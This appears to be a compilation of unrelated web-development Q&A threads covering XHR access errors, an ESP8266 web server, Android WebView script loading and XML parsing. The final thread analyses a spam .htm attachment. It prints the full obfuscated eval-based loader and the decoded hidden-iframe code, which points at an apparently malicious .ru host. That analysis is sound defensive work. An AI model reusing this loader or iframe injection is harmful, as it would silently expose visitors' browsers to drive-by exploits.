I have been looking for an answer for this for a month now. I am trying ro run the below script locally and getting "Access Denied" error.
Browser: IE 8
Environment: Locally, Intranet
Kindly share your thoughts on this. Thanks!
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>GSDAssist</title>
<script type="text/javascript">
/***********************************************
* Dynamic Ajax Content- � Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
***********************************************/
var loadedobjects=""
var rootdomain="http://"+window.location.hostname
function ajaxpage(url, containerid){
var page_request = false
if (window.XMLHttpRequest) // if Mozilla, Safari etc
page_request = new XMLHttpRequest()
else if (window.ActiveXObject){ // if IE
try {
page_request = new ActiveXObject("Msxml2.XMLHTTP")
}
catch (e){
try{
page_request = new ActiveXObject("Microsoft.XMLHTTP")
}
catch (e){}
}
}
else return false
page_request.onreadystatechange=function(){
loadpage(page_request, containerid)
}
page_request.open('GET', url, true)
page_request.send(null)
}
function loadpage(page_request, containerid){
if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1))
document.getElementById(containerid).innerHTML=page_request.responseText
}
function loadobjs(){
if (!document.getElementById)
return
for (i=0; i<arguments.length; i++){
var file=arguments[i]
var fileref=""
if (loadedobjects.indexOf(file)==-1){ //Check to see if this object has not already been added to page before proceeding
if (file.indexOf(".js")!=-1){ //If object is a js file
fileref=document.createElement('script')
fileref.setAttribute("type","text/javascript");
fileref.setAttribute("src", file);
}
else if (file.indexOf(".css")!=-1){ //If object is a css file
fileref=document.createElement("link")
fileref.setAttribute("rel", "stylesheet");
fileref.setAttribute("type", "text/css");
fileref.setAttribute("href", file);
}
}
if (fileref!=""){
document.getElementsByTagName("head").item(0).appendChild(fileref)
loadedobjects+=file+" " //Remember this object as being already added to page
}
}
}
</script>
<link href="css/style.css" rel="stylesheet" type="text/css" />
<title>GSDAssist</title>
</head>
<body style>
<div id="headerBar">
<marquee id="newsTicker" behavior="scroll" direction="left"><h4>Process Updates: Tickets trashed has to be moved to DBSP RECYCLE TICKET Assignment group</h4></marquee>
</div>
<div id="main">
<div style="width:300px; height:80px; margin-left:5px; margin-bottom:10px; float:left;">
<img style="padding:5px; float:left;" src="img/logo.png" width="60" />
<h2 style="float:left; margin-left:5px;">GSDAssist</h2>
</div>
<div style="clear:both; float:left; border-bottom: 1px solid #CCCCCC;">
#
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
<br>
<br>
</div>
<div id="contentarea" style="clear:both; float:left;"><h3>Welcome to GSDAssist,</h3><p><h3>Choose the starting letter of the application to get started!</h3></div>
</div>
</body>
</html>
My thoughts on this are that it's not going to work.
XHR calls are subject to same-domain security policies (CORS is an exception, but that's almost impossible to do without controlling the server, anyway, which requires a server, which is your problem to begin with).
The point is that browsers have set security policies in place, which mean that you must request XHR data from the same domain as your browser is currently on.
file:/// is a completely different protocol than http://, and even so, browser security prevents an HTML page which is served locally from accessing file:// content in an async fashion (to prevent a page from accessing all content on your hard drive, and sending all of your data anywhere in the world).
Just about every web-centric programming language at this point has a quick-start server included (except NodeJS, but writing a simple server in Node is also very easy).
The trick would be to set a server up that's available on your intranet, without modifying the domain.
Related
I believe I asked the question in the right way, or at least I hope so. I'm trying to find a way to send data to the server (in this case I guess the server would be the ESP8266 since that's what the client's communicating with right?) every time there is a change in a range input (the purpose of this would be to allow the user of the led display to be able to see in real time the change in the display's brightness without needing to reload the page). I've found a few ideas online but I don't know if they're quite what I'm looking for, I don't know how to program in JavaScript yet (apart from a few examples here and there) but from what I can gather that's the only way I could implement this, but I don't quite know if I should be making the request in the script of the website or in the NodeMCU, as in, should I ask periodically for the variable from the MCU to see if there's any change in the range input, or should I try to post the data from the browser's side (which I don't know how to do either but if anyone can give me a hint of where to look it'd be much appreciated). Basically what I'm asking here is what method should I use or like what should I look into for doing it because I have no idea rn.
I apologize in advance for the many mixed concepts (and for my English btw) I might have misused or confused while writing this question, this is a project for one of my classes (I didn't actually chose it but I was tasked with making the code for the MCU and the webpage so I had to start learning from zero) and I wanted to make it a bit fancier but ended up being trickier than I thought. The idea is that the user connects to the micro and they can input the message to be displayed as well as a number of settings, amongst which is the brightness of the display.
maybe you can get I better idea of what I'm trying to do with this
<!DOCTYPE html>
<html lang="en">
<head>
<title>LED DISPLAY</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.2/css/all.css" integrity="sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr" crossorigin="anonymous">
<link rel="stylesheet" type="text/css" href="style.css">
<script>
function includeHTML() {
var z, i, elmnt, file, xhttp;
/*loop through a collection of all HTML elements:*/
z = document.getElementsByTagName("*");
for (i = 0; i < z.length; i++) {
elmnt = z[i];
/*search for elements with a certain attribute:*/
file = elmnt.getAttribute("w3-include-html");
if (file) {
/*make an HTTP request using the attribute value as the file name:*/
xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4) {
if (this.status == 200) {elmnt.innerHTML = this.responseText;}
if (this.status == 404) {elmnt.innerHTML = "Page not found.";}
/*remove the attribute, and call this function once more:*/
elmnt.removeAttribute("w3-include-html");
includeHTML();
}
}
xhttp.open("GET", file, true);
xhttp.send();
/*exit the function:*/
return;
}
}
};
</script>
<body>
<div w3-include-html="header.html"></div>
<script>
includeHTML();
</script>
<div class="row">
<div class="column side">
</div>
<div class="column middle">
<h3>Brightness: <span id="mensaje"></span></h3>
<div class="slidecontainer">
<input type="range" min="1" max="15" class="slider" id="myRange">
<p><span id="demo"></span></p>
</div>
<script>
var slider = document.getElementById("myRange");
var output = document.getElementById("demo");
output.innerHTML = slider.value;
slider.oninput = function() {
output.innerHTML = this.value;
}
</script>
</div>
<div class="column side">
</div>
</div>
</body>
</html>
</body>
</html>
The code for the ESP8266 is also incredibly cringy but I suppose I should include it just in case
#include <FS.h>
#include <LittleFS.h> //The html and css files are used to replace the using strings as html code
#include <ESP8266WiFi.h>
//#include <ESPAsyncTCP.h>
#include <ESPAsyncWebServer.h>
#include <ESPAsyncWiFiManager.h> //https://github.com/tzapu/WiFiManager
#include <EEPROM.h> //EEPROM 819: dirección(?; EEPROM 820: velocidad(?; EEPROM 821: brillo;
//EEPROM 822: largo del último mensaje guardado; EEPROM 823-1023: mensaje
const int ledPin = 2;
String lasped= "fast";
String ledState;
bool flag=0;
byte message_length;
//const char* fname;
const char* PARAM_INPUT_1 = "fname";
String inputMessage;
AsyncWebServer server(80);
void handleFormText(AsyncWebServerRequest *request)
{
String MiText = request->arg("miText");
Serial.print("MiText:\t");
Serial.println(MiText);
//String response = "<a href='/'> Go Back </a>";
//request->send(200, "text/html", response);
// redirección directa
request->redirect("/");
}
void save_message(){
int sd=823;
char the_letrero[200];
strcpy(the_letrero, inputMessage.c_str());
for(int i=0; i<(inputMessage.length()); i++){
EEPROM.write( sd , the_letrero[i]);
sd++;
}
EEPROM.write(800 , inputMessage.length());
EEPROM.write(822 , inputMessage.length());
EEPROM.commit();
yield();
}
void ReadMessage(){
int sd_read=823;
for(int i=0; i<EEPROM.read(822); i++){
Serial.print(char(EEPROM.read(sd_read)));
sd_read++;
//EEPROM.read(822)
}
Serial.print("\n");
yield();
}
DNSServer dns;
String processor(const String& var){
//Serial.println(var);
if (var == "MENSAJE"){
return inputMessage;
}
else if (var == "TEMPERATURE"){
//return getTemperature();
}
else if (var == "HUMIDITY"){
//return getHumidity();
}
else if (var == "PRESSURE"){
//return getPressure();
}
}
void setup() {
// put your setup code here, to run once:
Serial.begin(115200);
EEPROM.begin(1024);
//WiFiManager
//Local intialization. Once its business is done, there is no need to keep it around
AsyncWiFiManager wifiManager(&server,&dns);
//reset settings - for testing
//wifiManager.resetSettings();
//sets timeout until configuration portal gets turned off
//useful to make it all retry or go to sleep
//in seconds
wifiManager.setTimeout(180);
//fetches ssid and pass and tries to connect
//if it does not connect it starts an access point with the specified name
//here "AutoConnectAP"
//and goes into a blocking loop awaiting configuration
if(!wifiManager.autoConnect("AutoConnectAP")) {
Serial.println("failed to connect and hit timeout");
delay(3000);
//reset and try again, or maybe put it to deep sleep
ESP.reset();
delay(5000);
}
//Serial.begin(115200);
pinMode(ledPin, OUTPUT);
// Initialize LittleFS
if(!LittleFS.begin()){
Serial.println("An Error has occurred while mounting LittleFS");
return;
}
//if you get here you have connected to the WiFi
Serial.println("connected...yeey :)");
Serial.println(WiFi.localIP());
ReadMessage();
// Route to load style.css file
server.on("/style.css", HTTP_GET, [](AsyncWebServerRequest *request){
request->send(LittleFS, "/style.css", "text/css");
});
// Route for root / web page
server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){
request->send(LittleFS, "/Home_page.html");
});
server.on("/message", HTTP_GET, [](AsyncWebServerRequest *request){
request->send(LittleFS, "/Message_page.html");
});
server.on("/get", HTTP_GET, [](AsyncWebServerRequest *request){
//request->send(LittleFS, "/Msj.html");
String inputParam;
if (request->hasParam(PARAM_INPUT_1)) {
inputMessage = request->getParam(PARAM_INPUT_1)->value();
flag=1;
}
Serial.println(inputMessage);
//request->send(LittleFS, "/Msj.html");
request->send(LittleFS, "/Msj.html");
});
server.on("/mensaje", HTTP_GET, [](AsyncWebServerRequest *request){
request->send_P(200, "text/plain", inputMessage.c_str());
});
/*server.on("/veloc", HTTP_GET, [](AsyncWebServerRequest *request){
request->send_P(200, "text/plain", lasped.c_str());
});*/
// Start server
server.begin();
//InitServer();
yield();
}
void loop() {
// put your main code here, to run repeatedly:
if(flag=1)
{save_message(); flag=0;}
yield();
}
I have an issue with a web view I'm using.
The javascript files used to render the view properly MUST be loaded in a specific order.
On browser (chrome mobile; safari desktop, ...) it works well.
However in my web view the result is unpredictable.
This is one of the latests failing run I had:
The HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<title></title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
<style>
body {
font-family: Monospace;
background-color: #000;
color: #fff;
margin: 0px;
overflow: hidden;
}
</style>
</head>
<body>
<canvas class="emscripten" id="canvas" oncontextmenu="event.preventDefault()"></canvas>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="js/script1.js"></script>
<script src="js/script2.js"></script>
<script src="js/script3.js"></script>
<script src="js/script4.js"></script>
... More scripts...
</body>
</html>
Here is the Java code:
mWebView = (WebView)findViewById(R.id.webView);
mWebView.getSettings().setCacheMode(WebSettings.LOAD_NO_CACHE);
//mWebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.setHorizontalFadingEdgeEnabled(false);
mWebView.setScrollbarFadingEnabled(false);
mWebView.setVerticalFadingEdgeEnabled(false);
mWebView.setOverScrollMode(View.OVER_SCROLL_NEVER);
mWebView.loadUrl("http://192.168.1.24:8000/path/to/index.html");
The issue is that randomly, javascript files are interpreted in wrong order or just not loaded.
From my understanding, javascript MUST be loaded in declaration order.
Am I wrong ?
Is there anything I can do to change that behavior ? (other than concatenating all JS together..)
Your scripts will work on the web site but for make it work on the android you need to load the scripts manually. See the function how it load the script from assets.
private void injectScriptFile(WebView view, String scriptFile) {
InputStream input;
try {
input = getAssets().open(scriptFile);
byte[] buffer = new byte[input.available()];
input.read(buffer);
input.close();
// String-ify the script byte-array using BASE64 encoding !!!
String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
view.loadUrl("javascript:(function() {" +
"var parent = document.getElementsByTagName('head').item(0);" +
"var script = document.createElement('script');" +
"script.type = 'text/javascript';" +
// Tell the browser to BASE64-decode the string into your script !!!
"script.innerHTML = window.atob('" + encoded + "');" +
"parent.appendChild(script)" +
"})()");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
See Here Example
also make sure you enabled JS:
webSettings.setJavaScriptEnabled(true);
and the manifest ofcourse:
<uses-permission android:name="android.permission.INTERNET" />
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY>
<div >
<img border="0" src="img/header.gif" alt="Pulpit rock" width="904" height="128">
<script type="text/javascript">
function detectBrowser() {
// document.write("<img src="C:\Documents and Settings\nawab.a\Desktop\header.gif" border="0">");
//document.write("<br/>");
// document.write("<a href='jre.html','width=100' title='KNOW Your JRE VERSION'>JRE Version</a>");
//Open page in new window
document.write("<br/>");
document.write("<br/>");
var N = navigator.appName;
var UA = navigator.userAgent;
var temp;
var browserVersion = UA.match(/(opera|chrome|safari|firefox|msie)\/?\s*(\.?\d+(\.\d+)*)/i);
if (browserVersion && (temp = UA.match(/version\/([\.\d]+)/i)) != null)
browserVersion[2] = temp[1];
browserVersion = browserVersion ? [browserVersion[1], browserVersion[2]] : [N, navigator.appVersion, '-?'];
document.write("<b>Browser & ContentVerse Software Property</b>")
document.write("<br>");
document.write("Browser Name & Version: " + browserVersion);
document.write("<br>");
document.write("<br>");
// readValue(); // function for get dll details......
}
</script>
</div>
<body onload="javascript:detectBrowser();">
</BODY>
</HTML>
Hi, this code is working fine but unable to display the image....
i want to display the image at the head and then all the information
i think the problem is because of body onload function..
i also tried o display the image in the hyperlink but not working.
Do you run this offline (i mean on your computer) or online, on a web server ?
Just asking because C:\Documents and Settings\nawab.a\Desktop\header.gif is a local path of your computer, not accessible from a remote web server. If this is the case, upload the image on your server and change this path.
First let me thank you for the assistance, I am new to Javascript, and want to learn to parse a >.xml file into my javascript. The file I want to parse is contact.xml, located in my root folder.
Again, thank you.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 /DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
function loadXMLDoc(XMLname)
{
var xmlDoc;
if (window.XMLHttpRequest)
{
xmlDoc=new window.XMLHttpRequest();
xmlDoc.open("GET",XMLname,false);
xmlDoc.send("");
return xmlDoc.responseXML;
}
// IE 5 and IE 6
else if (ActiveXObject("Microsoft.XMLDOM"))
{
xmlDoc=new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async=false;
xmlDoc.load(XMLname);
return xmlDoc;
}
alert("Error loading document!");
return null;
}
<title>Contacts</title>
</script>
</head>
<body>
<script type="text/javascript">
xmlDoc = loadXMLDoc("contactinfo.xml") // Path to the XML file;
var M = xmlDoc.getElementsByTagName("item");
for (i=0;i<M.length;i++){
document.write("<div style='width:450px;'>")
document.write("<h2>"+xmlDoc.getElementsByTagName("item")[i].childNodes[0].nodeValue+"</h2>");
document.write("<p>" + xmlDoc.getElementsByTagName("servicephone")[i].childNodes[0].nodeValue+ "</p>");
document.write("<p><a href='" + xmlDoc.getElementsByTagName("email")[i].childNodes[0].nodeValue +"</p>);
document.write("</div>")
}
</script>
</body>
</html>
*Here is my .xml file*
<?xml version="1.0" encoding="utf-8" ?>
<Contacts>
<item servicephone="(800) 500-0066"
email="customerservice#fsig.com"
url="http://www.fsig.com"
address="5000 Barcilona Beach Rd. Wilmington, NC 28000">
</item>
</Contacts>
You need to go down the hierarchy, so, first find the Contacts node, then inside there you can get all the tagnames as you have.
You have a great deal of attributes so you may find this useful also:
node.attributes["url"].nodeValue
So just loop through all the items, then I would just copy itemelem[t] to node just to make it easier, then you get the attributes you need.
Depending on the browser you are using most of them come with some javascript debugger, so you can put in breakpoints and look at the values in the variables and see what the next step needs to be.
I received a spam message that had a .htm attachment. I opened the file in gedit on my linux machine and saw the following. Does the script it would try to run do anything? It looks harmless, yet confusing.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Please wait untill the page loads...</title>
</head>
<body>
<h1>Loading... Please Wait...</h1><br>
</body>`
<script>
if(window['doc'+'ume'+'nt'])
aa=/\w/.exec(new Date()).index+[];
aaa='0';
try {
new location();
}catch(qqq){
ss=String;
if(aa===aaa)
f='-30q-30q66q63q-7q1q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q2q84q-30q-30q-30q66q63q75q58q70q62q75q1q2q20q-30q-30q86q-7q62q69q76q62q-7q84q-30q-30q-30q61q72q60q78q70q62q71q77q7q80q75q66q77q62q1q-5q21q66q63q75q58q70q62q-7q76q75q60q22q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q-7q80q66q61q77q65q22q0q10q9q0q-7q65q62q66q64q65q77q22q0q10q9q0q-7q76q77q82q69q62q22q0q79q66q76q66q59q66q69q66q77q82q19q65q66q61q61q62q71q20q73q72q76q66q77q66q72q71q19q58q59q76q72q69q78q77q62q20q69q62q63q77q19q9q20q77q72q73q19q9q20q0q23q21q8q66q63q75q58q70q62q23q-5q2q20q-30q-30q86q-30q-30q63q78q71q60q77q66q72q71q-7q66q63q75q58q70q62q75q1q2q84q-30q-30q-30q79q58q75q-7q63q-7q22q-7q61q72q60q78q70q62q71q77q7q60q75q62q58q77q62q30q69q62q70q62q71q77q1q0q66q63q75q58q70q62q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q76q75q60q0q5q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q2q20q63q7q76q77q82q69q62q7q79q66q76q66q59q66q69q66q77q82q22q0q65q66q61q61q62q71q0q20q63q7q76q77q82q69q62q7q73q72q76q66q77q66q72q71q22q0q58q59q76q72q69q78q77q62q0q20q63q7q76q77q82q69q62q7q69q62q63q77q22q0q9q0q20q63q7q76q77q82q69q62q7q77q72q73q22q0q9q0q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q80q66q61q77q65q0q5q0q10q9q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q65q62q66q64q65q77q0q5q0q10q9q0q2q20q-30q-30q-30q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q7q58q73q73q62q71q61q28q65q66q69q61q1q63q2q20q-30q-30q86'
.split('q');
md='a';
e=window['e'+'val'];
w=f;
s='';
fr='fromChar';
r=ss[fr+'Code'];
for(i=0;-i>-w.length;i+=1) {
j=i;
s=s+r(39+1*w[j]);
}
if(Math.round(-4*Math.tan(Math.atan(0.5)))===-2)
z=s;
e(z);
}
</script>
</html>
Encoded in f is the following code, which the script evals (executes):
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php');
f.style.visibility='hidden';
f.style.position='absolute';
f.style.left='0';
f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
I assume whatever lives on http://cparabnormapoopdsf.ru:8080 is evil and tries to exploit some kind of browser vulnerabilities.
I was able to extract f by basically copying what the script is doing:
var f = '-30q-30q66q63q-7q1q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q2q84q-30q-30q-30q66q63q75q58q70q62q75q1q2q20q-30q-30q86q-7q62q69q76q62q-7q84q-30q-30q-30q61q72q60q78q70q62q71q77q7q80q75q66q77q62q1q-5q21q66q63q75q58q70q62q-7q76q75q60q22q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q-7q80q66q61q77q65q22q0q10q9q0q-7q65q62q66q64q65q77q22q0q10q9q0q-7q76q77q82q69q62q22q0q79q66q76q66q59q66q69q66q77q82q19q65q66q61q61q62q71q20q73q72q76q66q77q66q72q71q19q58q59q76q72q69q78q77q62q20q69q62q63q77q19q9q20q77q72q73q19q9q20q0q23q21q8q66q63q75q58q70q62q23q-5q2q20q-30q-30q86q-30q-30q63q78q71q60q77q66q72q71q-7q66q63q75q58q70q62q75q1q2q84q-30q-30q-30q79q58q75q-7q63q-7q22q-7q61q72q60q78q70q62q71q77q7q60q75q62q58q77q62q30q69q62q70q62q71q77q1q0q66q63q75q58q70q62q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q76q75q60q0q5q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q2q20q63q7q76q77q82q69q62q7q79q66q76q66q59q66q69q66q77q82q22q0q65q66q61q61q62q71q0q20q63q7q76q77q82q69q62q7q73q72q76q66q77q66q72q71q22q0q58q59q76q72q69q78q77q62q0q20q63q7q76q77q82q69q62q7q69q62q63q77q22q0q9q0q20q63q7q76q77q82q69q62q7q77q72q73q22q0q9q0q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q80q66q61q77q65q0q5q0q10q9q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q65q62q66q64q65q77q0q5q0q10q9q0q2q20q-30q-30q-30q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q7q58q73q73q62q71q61q28q65q66q69q61q1q63q2q20q-30q-30q86'
.split('q');
That gets you an array of numbers, which the script assembles into a string by adding 39 to each:
for (var i=0, s=''; i < f.length; i++) s+=String.fromCharCode(39+1*f[i]);
The encoded bit turns into:
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php');
f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';
f.style.top='0';f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
The domain at http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php does something unknown. The server is running nginx and just redirects to google.com. Perhaps at some later point it will do something else.